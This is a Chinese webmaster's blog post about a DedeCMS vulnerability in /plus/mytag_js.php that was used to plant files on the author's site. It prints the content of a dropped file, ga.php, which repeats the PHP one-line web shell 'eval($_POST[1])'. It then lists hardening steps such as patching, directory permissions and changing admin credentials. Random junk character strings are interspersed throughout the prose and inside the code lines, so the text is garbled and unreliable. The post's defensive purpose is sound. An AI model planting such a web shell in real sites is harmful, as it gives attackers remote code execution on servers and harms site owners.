|
dedecms一直是很火的建站cms,主要得益于两大站长网的鼎力支持;不过,人火是非多,cms太火了同样会被别有用心的人盯上。我的网站一直在使用dedecms,前段时间又一次受到攻击,攻击的目的很简单,那么便是黑链,知道后稍微修改下代码就恢复了,不是很严重;这段时间网站又被莫名上传文件,类似前一次,虽然对方还没来得及修改网站模板,不过这说明网站安全防患还未到位,对方任何时候都可能再次取得管理员权限,所以要特别注意网站的安全防患措施。 因为我比较喜欢寻根究底,所以就去网上找了一下相关的资料,发现这确实是dedecms的漏洞,黑客可以利用多维的变量绕过正则检测,漏洞主要发生在/plus/mytag_js.php中,原理便是准备一个MySQL数据库来攻击已知网站的数据库,通过向数据库中写入一句话的代码,只要成功写入,那么以后便可以利用这些代码来获得后台管理员权限。4 N z; I; b7 e+ O# L B% \. B: R
结合我的网站被攻击已经别人类似的经历来看,黑客写入的文件主要存在于/plus/文件夹下,目前已知的几个文件包括ga.php、log.php、b.php、b1.php等,文件的特征便是短小,内容很少,可能写入的时候不是很方便,不过这些代码的作用确实不小的。
B( |$ T( R# |/ f M- ? 下面这是ga.php文件中的部分代码:
' F/ _/ J) j8 l& J" z$ g, ?<title>login</title>no<?php/ Q6 s/ Z! C5 E, `4 f/ P
eval($_POST[1]). k: n5 `, J3 W- Z+ U
?>/ `+ N, t' l3 P' V+ G |
<title>login</title>no<?php
5 B' r9 q; N5 K- W: [2 `2 feval($_POST[1])
! E$ k8 I, M4 Y$ ]: H' F' ~0 l?>6 D0 ~8 K7 `! y& W* v, `; d& m
<title>login</title>no<?php) S) S9 a# c, k
eval($_POST[1])' @6 u8 B6 [9 L& H$ l& {
?>+ m! g/ Q+ f. N9 H$ x& c$ X
实际的代码比上面截取的要长,不过都是这段代码的重复,至于log.php的代码,同这个类似,只有一句话,简单明了,如果你对网络安全稍有了解,那么会知道是php一句话木马,使用部分指定的工具可以执行这段代码,预计是破解密码的功能。
( [6 K6 i$ h5 B6 t 既然已经知道对方是利用什么样的漏洞,同时知道对方利用什么样的原理来利用漏洞,那么要怎么预防这些危险的事发生呢?经过查询大量的资料,我初步整理出下面这些预防漏洞被利用的步骤,希望对同样适用dedecms的站长朋友们有所帮助。
+ A+ y/ C0 V" N7 v 一、升级版本打好补丁设置目录权限
) I* R5 ?6 x% W# K; \9 K) Z8 ]5 p2 N5 B 这是官方对此的解决办法,不管你使用的是什么版本的dedecms,都要及时在后台升级版本自动更新补丁,这是避免漏洞被利用的最重要的一步;同时官方还提供设置目录的方法,主要是设置data、templets、uploads、a为可读写不可执行权限;include、member、plus、后台管理目录等设置为可执行可读不可写入权限;删除install及special目录,具体如何设置见官方说明。
+ a g+ I$ c7 |+ ]8 M1 W 二、修改admin账号及密码
! Y4 r* q& I7 e1 x$ g 黑客可能是利用默认admin账号,随后推测密码来破解的,所以修改默认的admin账号非常重要,至于如何修改,方法很多,比较有效的是用phpadmin登陆网站数据库,找到dede_admin数据库表(dede是数据库表前缀),修改其中userid及pwd两项,其中密码一定要修改成f297a57a5a743894a0e4,这是默认的密码admin;修改后去后台登陆,登陆dede后台后修改密码。
& A0 q/ {' x" Y7 i' S- [- O) ? 三、别的值得注意的地方
! X# l) ~; c) V" g, G/ t 至于更多的细节,同样要注意,尽量别选择太廉价的空间,太廉价的空间很容易出现服务器本身的安全问题,只要服务器出现问题,整个服务器下面的网站都没救了。还有便是,如果没必要,尽量别开通会员注册什么的,使用起来很麻烦;至于网站后台目录,不要写到robots.txt里面,同时每个月至少换一次,管理员密码什么的同样要更换,避免和别的账号密码相同被推测出来。5 W( K, n+ X/ ~' }
|
|